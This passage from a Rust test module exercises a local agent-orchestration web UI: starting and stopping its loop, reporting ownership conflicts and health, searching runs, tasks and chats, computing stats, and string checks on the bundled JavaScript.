12109 assert_eq!(fresh["daemon"]["pid"], 4242);
12110 assert_eq!(fresh["daemon"]["completed"], 7);
12111 assert_eq!(
12112 fresh["daemon"]["current"][0]["task"],
12113 "20260902-140501-aaaa"
12114 );
12115 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
12116 }
12117
12118 #[tokio::test]
12119 async fn the_loop_is_not_running_until_something_starts_it() {
12120 let f = Fixture::start().await;
12121
12122 let view = f.get("/api/loop").await.json();
12123 assert_eq!(view["running"], false);
12124 assert_eq!(
12125 view["owned"], false,
12126 "nobody owns a loop that does not exist: {view}"
12127 );
12128 assert_eq!(view["stopping"], false);
12129 assert_eq!(view["last_error"], Value::Null);
12130 assert_eq!(view["daemon"]["running"], false);
12131 assert_eq!(
12132 view["repo"], "/repo/magi",
12133 "the repository a start would use, named before it is started"
12134 );
12135 }
12136
12137 #[tokio::test]
12138 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
12139 let f = Fixture::start().await;
12140
12141 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12142 assert_eq!(res.status, 200, "{}", res.body);
12143 let view = res.json();
12144 assert_eq!(view["running"], true);
12145 assert_eq!(
12146 view["owned"], true,
12147 "the loop the UI started is the UI's own to stop: {view}"
12148 );
12149 assert_eq!(
12150 view["merge"],
12151 Value::Null,
12152 "no override was given, so each repository's own config decides"
12153 );
12154
12155 let health = f.get("/api/health").await.json();
12159 assert_eq!(health["loop"]["running"], true, "{health}");
12160 assert_eq!(health["loop"]["owned"], true, "{health}");
12161
12162 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12163 }
12164
12165 #[tokio::test]
12166 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
12167 let f = Fixture::start().await;
12168 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12169 assert_eq!(first.status, 200, "{}", first.body);
12170
12171 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12172 assert_eq!(
12173 again.status, 409,
12174 "two loops on one queue race for the same claims: {}",
12175 again.body
12176 );
12177 assert!(
12178 again.json()["error"]
12179 .as_str()
12180 .is_some_and(|e| e.contains("already running the loop")),
12181 "the refusal has to say why: {}",
12182 again.body
12183 );
12184 assert_eq!(
12185 f.get("/api/loop").await.json()["running"],
12186 true,
12187 "and the loop that was already running is untouched by it"
12188 );
12189
12190 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12191 }
12192
12193 #[tokio::test]
12194 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
12195 let f = Fixture::start().await;
12196 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12197
12198 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12199 assert_eq!(
12200 res.status, 200,
12201 "the answer must not wait for the loop: a run in flight is tens of \
12202 minutes and the operator is holding a phone: {}",
12203 res.body
12204 );
12205
12206 let view = settled(&f, |v| v["running"] == false).await;
12207 assert_eq!(view["owned"], false);
12208 assert_eq!(
12209 view["stopping"], false,
12210 "a loop that has stopped is not still stopping: {view}"
12211 );
12212 assert_eq!(
12213 view["last_error"],
12214 Value::Null,
12215 "a loop that was asked to stop did not fail: {view}"
12216 );
12217
12218 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12221 assert_eq!(twice.status, 200, "{}", twice.body);
12222 }
12223
12224 #[tokio::test]
12225 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
12226 let f = Fixture::start().await;
12227 write_daemon(f.home.path(), Timestamp::now());
12230
12231 let view = f.get("/api/loop").await.json();
12232 assert_eq!(view["running"], false, "not in this process: {view}");
12233 assert_eq!(view["owned"], false, "and not this process's to control");
12234 assert_eq!(
12235 view["daemon"]["running"], true,
12236 "but a loop is alive somewhere, which is what the UI must say"
12237 );
12238 assert_eq!(view["daemon"]["pid"], 4242);
12239
12240 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
12241 let res = f.post("/api/loop", Some(body)).await;
12242 assert_eq!(
12243 res.status, 409,
12244 "neither button may pretend to work on someone else's loop: {}",
12245 res.body
12246 );
12247 assert!(
12248 res.json()["error"]
12249 .as_str()
12250 .is_some_and(|e| e.contains("4242")),
12251 "the refusal has to name the process the operator must go to: {}",
12252 res.body
12253 );
12254 }
12255 assert_eq!(
12256 f.get("/api/loop").await.json()["running"],
12257 false,
12258 "and the refusal started nothing"
12259 );
12260 }
12261
12262 #[tokio::test]
12263 async fn a_stale_status_file_is_not_a_foreign_owner() {
12264 let f = Fixture::start().await;
12265 write_daemon(
12266 f.home.path(),
12267 Timestamp::now() - jiff::SignedDuration::from_secs(60),
12268 );
12269
12270 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12271 assert_eq!(
12272 res.status, 200,
12273 "a daemon killed a minute ago must not lock the loop out of its \
12274 own home for good: {}",
12275 res.body
12276 );
12277 assert_eq!(res.json()["running"], true);
12278
12279 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12280 }
12281
12282 #[tokio::test]
12283 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
12284 let f = Fixture::start().await;
12285 let before = f.get("/api/health").await.json()["loop_rev"]
12286 .as_u64()
12287 .expect("a loop revision");
12288
12289 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12290
12291 let after = f.get("/api/health").await.json()["loop_rev"]
12292 .as_u64()
12293 .expect("a loop revision");
12294 assert!(
12295 after > before,
12296 "the loop is in-process state, so this counter is the only thing \
12297 that tells a second device the first one started it: {before} -> \
12298 {after}"
12299 );
12300
12301 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12302 }
12303
12304 #[tokio::test]
12305 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
12306 let f = Fixture::with_loop(launch_broken).await;
12307
12308 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12309 assert_eq!(
12310 res.status, 200,
12311 "starting it is not the failure: {}",
12312 res.body
12313 );
12314
12315 let view = settled(&f, |v| v["last_error"].is_string()).await;
12316 assert_eq!(
12317 view["running"], false,
12318 "a loop that died must not read as running, or the operator has \
12319 nothing to press: {view}"
12320 );
12321 assert_eq!(view["owned"], false);
12322 assert!(
12323 view["last_error"]
12324 .as_str()
12325 .is_some_and(|e| e.contains("read-only file system")),
12326 "the phone is where a loop that died at 3am is visible: {view}"
12327 );
12328
12329 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12332 assert_eq!(again.status, 200, "{}", again.body);
12333 assert!(
12334 again.json()["last_error"]
12335 .as_str()
12336 .is_none_or(|e| !e.contains("read-only file system")),
12337 "a fresh start does not keep showing why the last one died: {}",
12338 again.body
12339 );
12340 }
12341
12342 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
12354 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
12355 let home = TempDir::new().expect("temp home");
12356 let runs = home.path().join("runs");
12357 std::fs::create_dir_all(&runs).expect("runs dir");
12358 let ui = Ui::new(
12359 Queue::at(home.path().join("queue")),
12360 Questions::at(home.path().join("questions")),
12361 Talks::at(home.path().join("talks")),
12362 runs,
12363 home.path().to_path_buf(),
12364 PathBuf::from("/repo/magi"),
12365 )
12366 .with_worktrees_root(home.path().join("wt"))
12367 .with_launch(launch_knocking_on_the_way_out);
12368 let looping = ui.looping();
12369 let turns = ui.turns();
12370 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
12371 .await
12372 .expect("bind loopback");
12373 let addr = listener.local_addr().expect("local addr");
12374 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
12375 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
12376
12377 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
12378 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
12379
12380 let bound = std::sync::Mutex::new(None);
12395 hand_over(
12396 home.path(),
12397 &looping,
12398 &turns,
12399 &|_: &[String]| Duration::from_secs(5),
12400 served,
12401 |_| {
12402 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
12403 let attempt = loop {
12404 match std::net::TcpListener::bind(addr) {
12405 Ok(l) => {
12406 drop(l);
12407 break Ok(());
12408 }
12409 Err(e)
12410 if e.kind() == std::io::ErrorKind::AddrInUse
12411 && std::time::Instant::now() < deadline =>
12412 {
12413 std::thread::sleep(std::time::Duration::from_millis(10));
12414 }
12415 Err(e) => break Err(e.to_string()),
12416 }
12417 };
12418 *bound.lock().expect("bound") = Some(attempt);
12419 Ok(1)
12420 },
12421 )
12422 .await
12423 .expect("hand over");
12424
12425 assert_eq!(
12426 *PARK_HEARD.lock().expect("park heard"),
12427 Some(200),
12428 "the deck must answer while the loop is parking"
12429 );
12430 let attempt = bound
12431 .lock()
12432 .expect("bound")
12433 .take()
12434 .expect("the successor was started");
12435 assert!(
12436 attempt.is_ok(),
12437 "and the address must be free by the time it is: {attempt:?}"
12438 );
12439 }
12440
12441 #[tokio::test]
12442 async fn a_newer_daemon_status_file_still_renders() {
12443 let f = Fixture::start().await;
12444 std::fs::write(
12447 f.home.path().join("daemon.json"),
12448 serde_json::json!({
12449 "schema": 2,
12450 "updated_at": Timestamp::now().to_string(),
12451 "idle": true,
12452 "surprise": { "nested": [1, 2, 3] },
12453 })
12454 .to_string(),
12455 )
12456 .expect("write daemon.json");
12457
12458 let health = f.get("/api/health").await;
12459
12460 assert_eq!(health.status, 200);
12461 assert_eq!(health.json()["daemon"]["running"], true);
12462 }
12463
12464 #[tokio::test]
12465 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
12466 let f = Fixture::start().await;
12467 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
12468 let broken = f.runs().join("20260902-140502-bad");
12469 std::fs::create_dir_all(&broken).expect("run dir");
12470 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
12471
12472 let list = f.get("/api/runs").await;
12473 let detail = f.get("/api/runs/20260902-140502-bad").await;
12474
12475 assert_eq!(list.status, 200);
12476 let listed = list.json();
12477 let ids: Vec<&str> = listed
12478 .as_array()
12479 .expect("an array")
12480 .iter()
12481 .map(|r| r["id"].as_str().expect("an id"))
12482 .collect();
12483 assert_eq!(
12484 ids,
12485 vec!["20260902-140501-good"],
12486 "one unreadable run must not cost the operator the whole history"
12487 );
12488 assert_eq!(detail.status, 500);
12489 assert!(
12490 detail.json()["error"]
12491 .as_str()
12492 .is_some_and(|e| e.contains("run.json")),
12493 "the failure names the file to look at: {}",
12494 detail.body
12495 );
12496 let health = f.get("/api/health").await;
12500 assert_eq!(health.json()["runs_unreadable"], 1);
12501 }
12502
12503 #[tokio::test]
12505 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
12506 let f = Fixture::start().await;
12507 let runs = f.runs();
12508 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
12509 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
12510 let path = runs.join("20260902-140502-bbbb").join("run.json");
12513 let mut v: serde_json::Value =
12514 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12515 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
12516 std::fs::write(&path, v.to_string()).unwrap();
12517 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
12518 std::fs::write(
12519 runs.join("20260902-140503-cccc").join("run.json"),
12520 "{ not json",
12521 )
12522 .unwrap();
12523
12524 let res = f.get("/api/search?scope=runs&q=quokka").await;
12525 assert_eq!(res.status, 200, "{}", res.body);
12526 let v = res.json();
12527 assert_eq!(v["total"], 1, "{v}");
12528 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
12529 assert_eq!(v["hits"][0]["field"], "text");
12530 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
12531 let parts = v["hits"][0]["snippet"].as_array().unwrap();
12532 assert!(
12533 parts
12534 .iter()
12535 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
12536 "{v}"
12537 );
12538 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
12539 assert_eq!(
12540 flat, "The Quokka leaks across threads",
12541 "whitespace is collapsed"
12542 );
12543
12544 let both = f
12546 .get("/api/search?scope=runs&q=MOBILE%20quokka")
12547 .await
12548 .json();
12549 assert_eq!(both["total"], 1, "{both}");
12550 let neither = f
12551 .get("/api/search?scope=runs&q=quokka%20zebra")
12552 .await
12553 .json();
12554 assert_eq!(neither["total"], 0, "{neither}");
12555 let stmt = f
12557 .get("/api/search?scope=runs&q=mobile%20first")
12558 .await
12559 .json();
12560 assert_eq!(stmt["total"], 2, "{stmt}");
12561 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
12562 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
12563 }
12564
12565 #[test]
12566 fn snippet_ignores_terms_longer_than_the_field() {
12567 let terms = ["ok".to_owned(), "elephant".to_owned()];
12568 let parts = snippet_of("ok", &terms);
12569 assert_eq!(
12570 parts,
12571 vec![SnippetPart {
12572 text: "ok".to_owned(),
12573 hit: true
12574 }]
12575 );
12576 }
12577
12578 #[test]
12579 fn snippet_marks_matches_longer_than_the_window() {
12580 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
12581 let hit_len = |parts: &[SnippetPart]| -> usize {
12582 parts
12583 .iter()
12584 .filter(|p| p.hit)
12585 .map(|p| p.text.chars().count())
12586 .sum()
12587 };
12588 let total =
12589 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
12590
12591 let long = "a".repeat(120);
12592 let parts = snippet_of(&long, std::slice::from_ref(&long));
12593 assert!(hit_len(&parts) > 0, "{parts:?}");
12594 assert!(total(&parts) <= cap);
12595
12596 let ja = "あ".repeat(130);
12597 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
12598 assert!(hit_len(&parts) > 0, "{parts:?}");
12599 assert!(total(&parts) <= cap);
12600
12601 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
12603 let term = format!("ab{}", "c".repeat(100));
12604 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
12605 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
12606 assert!(total(&parts) <= cap);
12607
12608 let text = format!("{}z", "a".repeat(119));
12610 let parts = snippet_of(&text, &["a".repeat(120)]);
12611 assert_eq!(hit_len(&parts), 0, "{parts:?}");
12612 }
12613
12614 #[tokio::test]
12615 async fn search_caps_hits_and_snippet_length() {
12616 let f = Fixture::start().await;
12617 let runs = f.runs();
12618 for n in 0..(SEARCH_MAX_HITS + 5) {
12619 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
12620 }
12621 let v = f.get("/api/search?scope=runs&q=web").await.json();
12622 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
12623 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
12624 assert_eq!(v["truncated"], true);
12625 assert!(
12627 v["hits"]
12628 .as_array()
12629 .unwrap()
12630 .iter()
12631 .all(|h| h["run"]["status"] == "merged")
12632 );
12633
12634 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
12635 let parts = snippet_of(&long, &["needle".to_owned()]);
12636 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
12637 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
12638 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
12639 }
12640
12641 #[tokio::test]
12642 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
12643 let f = Fixture::start().await;
12644 let queue = f.queue();
12645 let mut t = Task::new(
12646 "short title".to_owned(),
12647 "line one\nthe hidden Armadillo detail".to_owned(),
12648 PathBuf::from("/repo/magi"),
12649 Source::Agent {
12650 run: "r1".to_owned(),
12651 node: "chat".to_owned(),
12652 },
12653 );
12654 t.last_error = Some("disk full on /tmp".to_owned());
12655 queue.put(&mut t).expect("file the task");
12656
12657 for (q, want) in [
12658 ("armadillo", 1),
12659 ("disk%20FULL", 1),
12660 ("chat", 1),
12661 ("queued", 1),
12662 ("short%20nothing", 0),
12663 ] {
12664 let v = f
12665 .get(&format!("/api/search?scope=tasks&q={q}"))
12666 .await
12667 .json();
12668 assert_eq!(v["total"], want, "{q}: {v}");
12669 }
12670 for bad in [
12671 "/api/search?scope=tasks&q=",
12672 "/api/search?scope=tasks&q=%20",
12673 "/api/search?scope=chats&q=",
12674 "/api/search?scope=chats&q=%20",
12675 "/api/search?scope=nope&q=a",
12676 "/api/search?q=a",
12677 ] {
12678 assert_eq!(f.get(bad).await.status, 400, "{bad}");
12679 }
12680 }
12681
12682 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
12684 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
12685 .expect("seat value");
12686 let turns: Vec<serde_json::Value> = turns
12687 .iter()
12688 .map(|(who, body)| {
12689 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
12690 })
12691 .collect();
12692 let doc = serde_json::json!({
12693 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
12694 "status": status, "turns": turns,
12695 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
12696 "seat": seat,
12697 });
12698 let dir = f.home.path().join("talks");
12699 std::fs::create_dir_all(&dir).expect("talks dir");
12700 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
12701 }
12702
12703 #[tokio::test]
12704 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
12705 let f = Fixture::start().await;
12706 write_talk(
12707 &f,
12708 "20260901-000001-aaaa",
12709 "open",
12710 &[
12711 (
12712 "operator",
12713 "\n Why does the Pangolin cache expire?\nsecond line",
12714 ),
12715 ("agent", "Because the TTL is thirty seconds."),
12716 ],
12717 );
12718 write_talk(
12719 &f,
12720 "20260901-000002-bbbb",
12721 "closed",
12722 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
12723 );
12724 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
12725
12726 let search = |q: &'static str| {
12727 let f = &f;
12728 async move {
12729 f.get(&format!("/api/search?scope=chats&q={q}"))
12730 .await
12731 .json()
12732 }
12733 };
12734
12735 let v = search("PANGOLIN").await;
12736 assert_eq!(v["scope"], "chats");
12737 assert_eq!(v["total"], 1, "{v}");
12738 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
12739 assert_eq!(v["hits"][0]["field"], "title");
12740 assert_eq!(v["unreadable"], 1, "{v}");
12741 let marked: Vec<&str> = v["hits"][0]["snippet"]
12742 .as_array()
12743 .unwrap()
12744 .iter()
12745 .filter(|p| p["hit"] == true)
12746 .map(|p| p["text"].as_str().unwrap())
12747 .collect();
12748 assert_eq!(marked, ["Pangolin"]);
12749
12750 let v = search("zebra").await;
12752 assert_eq!(v["total"], 1, "{v}");
12753 assert_eq!(v["hits"][0]["field"], "agent");
12754 assert_eq!(search("pangolin%20thirty").await["total"], 1);
12756 assert_eq!(search("pangolin%20zebra").await["total"], 0);
12757 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
12759 assert_eq!(search(q).await["total"], 0, "{q}");
12760 }
12761 assert_eq!(search("second").await["hits"][0]["field"], "operator");
12763 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
12765
12766 let v = f.get("/api/search?scope=nope&q=a").await;
12767 assert_eq!(v.status, 400);
12768 assert!(
12769 v.body.contains("scope must be runs, tasks or chats"),
12770 "{}",
12771 v.body
12772 );
12773 }
12774
12775 #[test]
12776 fn a_question_card_links_a_task_id_to_the_task_page() {
12777 let start = APP_JS
12778 .find("function updateAskCard(")
12779 .expect("updateAskCard exists");
12780 let body = &APP_JS[start..];
12781 let body = &body[..body.find("\n}\n").expect("function end")];
12782 assert!(body.contains("question.run_is_task"));
12783 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
12784 assert!(body.contains("`#/runs/${question.run}`"));
12785 assert!(body.contains("\"task\" : \"run\""));
12786 }
12787
12788 #[test]
12789 fn plain_text_message_surfaces_go_through_linkify() {
12790 assert!(APP_JS.contains("function linkify("));
12791 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
12792 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
12793 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
12794 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
12795 assert!(!APP_JS.contains("innerHTML = text"));
12796 }
12797
12798 #[test]
12799 fn implementation_rate_views_keep_independent_samples() {
12800 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
12801 let a = stats::AgentStats {
12802 competitive_entered: competitive_n,
12803 competitive_wins: usize::from(competitive_n > 0),
12804 solo_entered: solo_n,
12805 solo_adopted: 2 * usize::from(solo_n > 0),
12806 ..Default::default()
12807 };
12808 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
12809 for (key, n, numerator) in [
12810 ("competitive_win_rate", competitive_n, a.competitive_wins),
12811 ("solo_adoption_rate", solo_n, a.solo_adopted),
12812 ] {
12813 if n == 0 {
12814 assert!(v[key].is_null());
12815 } else {
12816 assert_eq!(v[key]["denominator"], n);
12817 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
12818 }
12819 }
12820 }
12821 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
12822 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
12823 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
12824 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
12825 }
12826
12827 #[test]
12828 fn stats_bars_share_one_id_keyed_plan() {
12829 let start = APP_JS
12830 .find("function statsBarRows(")
12831 .expect("statsBarRows exists");
12832 let body = &APP_JS[start..];
12833 let body = &body[..body.find("\n}\n").expect("function end")];
12834 assert!(body.contains("statsBarPlan(rows)"));
12835 assert!(body.contains("statsAgentTone(row.agent)"));
12836 assert!(!body.contains("candTone(i)"));
12837 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
12838 for root in [
12839 "stats-agents-bars",
12840 "stats-solo-bars",
12841 "stats-reviewers-bars",
12842 ] {
12843 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
12844 }
12845 }
12846
12847 #[test]
12848 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
12849 let start = APP_JS
12850 .find("function renderStatsReviewerScatter(")
12851 .expect("renderStatsReviewerScatter exists");
12852 let body = &APP_JS[start..];
12853 let body = &body[..body.find("\n}\n").expect("function end")];
12854 assert!(body.contains("statsScatterPlan(reviewers)"));
12855 assert!(body.contains("statsAgentTone(d.agent)"));
12856 assert!(APP_JS.contains("function statsScatterPlan("));
12857 assert!(
12858 APP_JS.contains("d.submitted < STATS_LOW_N")
12859 || APP_JS.contains("r.submitted < STATS_LOW_N")
12860 );
12861 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
12862 assert!(APP_CSS.contains(".precision-scatter"));
12863 }
12864
12865 #[test]
12866 fn advisor_reflection_is_drawn_as_stacked_segments() {
12867 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
12868 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
12869 let html = include_str!("../assets/ui/index.html");
12870 assert!(html.contains("Approximate"));
12871 for label in ["reflected strongly", "faint", "no proposal"] {
12872 assert!(html.contains(label));
12873 }
12874 let css = include_str!("../assets/ui/app.css");
12875 for c in ["refl-strong", "refl-faint", "refl-absent"] {
12876 assert!(css.contains(&format!(".{c} {{")));
12877 }
12878 }
12879
12880 #[test]
12881 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
12882 assert!(APP_JS.contains("function statsDailyPlan("));
12883 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
12884 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
12885 }
12886
12887 #[test]
12888 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
12889 let start = APP_JS
12890 .find("function scheduleSearch(")
12891 .expect("scheduleSearch exists");
12892 let body = &APP_JS[start..];
12893 let body = &body[..body.find("\n}\n").expect("function end")];
12894 assert!(body.contains("s.seq += 1"));
12895 }
12896
12897 #[tokio::test]
12902 async fn stats_runs_unreadable_matches_health() {
12903 let f = Fixture::start().await;
12904 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
12905 let broken = f.runs().join("20260902-140502-bad");
12906 std::fs::create_dir_all(&broken).expect("run dir");
12907 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
12908
12909 let stats = f.get("/api/stats").await;
12910 let health = f.get("/api/health").await;
12911
12912 assert_eq!(stats.status, 200);
12913 assert_eq!(stats.json()["totals"]["runs"], 1);
12914 assert_eq!(stats.json()["runs_unreadable"], 1);
12915 assert_eq!(
12916 stats.json()["runs_unreadable"],
12917 health.json()["runs_unreadable"],
12918 "the dashboard and /api/health must never disagree about how many \
12919 runs could not be read"
12920 );
12921 }
12922
12923 #[tokio::test]
12924 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
12925 let f = Fixture::start().await;
12926 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
12927 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
12928 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
12929
12930 let totals = &f.get("/api/stats").await.json()["totals"];
12931 assert_eq!(totals["runs"], 3);
12932 assert_eq!(totals["merged"], 1);
12933 assert_eq!(totals["stalled"], 1);
12934 assert_eq!(totals["in_progress"], 1);
12935 assert_eq!(totals["blocked"], 0);
12938 assert_eq!(totals["ready"], 0);
12939 }
12940
12941 #[tokio::test]
12942 async fn stats_advisors_report_proposals_and_reflection() {
12943 use crate::advise::{Advice, AdvisorRecord, Reflection};
12944 use crate::verdict::Proposal;
12945
12946 let f = Fixture::start().await;
12947 let mut state = RunState::new(
12948 PathBuf::from("/repo/magi"),
12949 "main".to_owned(),
12950 "0123456789abcdef".to_owned(),
12951 "task".to_owned(),
12952 Config::default(),
12953 );
12954 state.id = "20260902-140501-a".to_owned();
12955 state.status = RunStatus::Merged;
12956 state.advice = Some(Advice {
12957 records: vec![
12958 AdvisorRecord {
12959 seat: "advisor-1".to_owned(),
12960 agent: "alpha".to_owned(),
12961 proposal: Some(Proposal {
12962 approach: "do it".to_owned(),
12963 key_tradeoff: "speed over memory".to_owned(),
12964 risks: Vec::new(),
12965 touches: Vec::new(),
12966 why_not_naive: "breaks under load".to_owned(),
12967 }),
12968 error: None,
12969 duration_ms: 0,
12970 reflection: Reflection::Strong,
12971 },
12972 AdvisorRecord {
12973 seat: "advisor-2".to_owned(),
12974 agent: "alpha".to_owned(),
12975 proposal: None,
12976 error: Some("timed out".to_owned()),
12977 duration_ms: 0,
12978 reflection: Reflection::Absent,
12979 },
12980 ],
12981 synthesis: Some("blended brief".to_owned()),
12982 });
12983 let dir = f.runs().join(&state.id);
12984 std::fs::create_dir_all(&dir).expect("run dir");
12985 std::fs::write(
12986 dir.join("run.json"),
12987 serde_json::to_string_pretty(&state).expect("serialize run"),
12988 )
12989 .expect("write run.json");
12990
12991 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
12993 let alpha = advisors
12994 .as_array()
12995 .expect("an array")
12996 .iter()
12997 .find(|a| a["agent"] == "alpha")
12998 .expect("alpha row");
12999 assert_eq!(alpha["seated"], 2);
13000 assert_eq!(alpha["proposed"], 1);
13001 assert_eq!(alpha["absent"], 1);
13002 assert_eq!(alpha["strong"], 1);
13003 assert_eq!(alpha["faint"], 0);
13004 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
13005 }
13006
13007 #[tokio::test]
13008 async fn stats_hides_agents_outside_the_roster_unless_all() {
13009 use crate::run::Candidate;
13010 let repo = TempDir::new().expect("repo dir");
13011 std::fs::write(
13012 repo.path().join("magi.toml"),
13013 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
13014 )
13015 .expect("magi.toml");
13016 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
13017 let mut state = RunState::new(
13018 PathBuf::from("/repo/magi"),
13019 "main".to_owned(),
13020 "0123456789abcdef".to_owned(),
13021 "task".to_owned(),
13022 Config::default(),
13023 );
13024 state.id = "20260902-140501-a".to_owned();
13025 state.status = RunStatus::Merged;
13026 for (label, agent) in [('A', "keep"), ('B', "retired")] {
13027 let mut c: Candidate = serde_json::from_value(serde_json::json!({
13028 "index": 0, "label": label.to_string(), "agent": agent,
13029 "branch": "b", "worktree": "/w",
13030 }))
13031 .expect("candidate");
13032 c.label = label;
13033 state.candidates.push(c);
13034 }
13035 let dir = f.runs().join(&state.id);
13036 std::fs::create_dir_all(&dir).expect("run dir");
13037 std::fs::write(
13038 dir.join("run.json"),
13039 serde_json::to_string_pretty(&state).expect("serialize run"),
13040 )
13041 .expect("write run.json");
13042
13043 let agents_of = |v: &serde_json::Value| -> Vec<String> {
13044 v["agents"]
13045 .as_array()
13046 .expect("array")
13047 .iter()
13048 .map(|a| a["agent"].as_str().unwrap().to_owned())
13049 .collect()
13050 };
13051 let hidden = f.get("/api/stats").await.json();
13052 assert_eq!(agents_of(&hidden), ["keep"]);
13053 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
13054 assert_eq!(hidden["totals"]["runs"], 1);
13055
13056 let all = f.get("/api/stats?all=true").await.json();
13057 assert_eq!(agents_of(&all).len(), 2);
13058 assert_eq!(all["retired_hidden"], serde_json::json!([]));
13059 let keep_agent = all["agents"]
13061 .as_array()
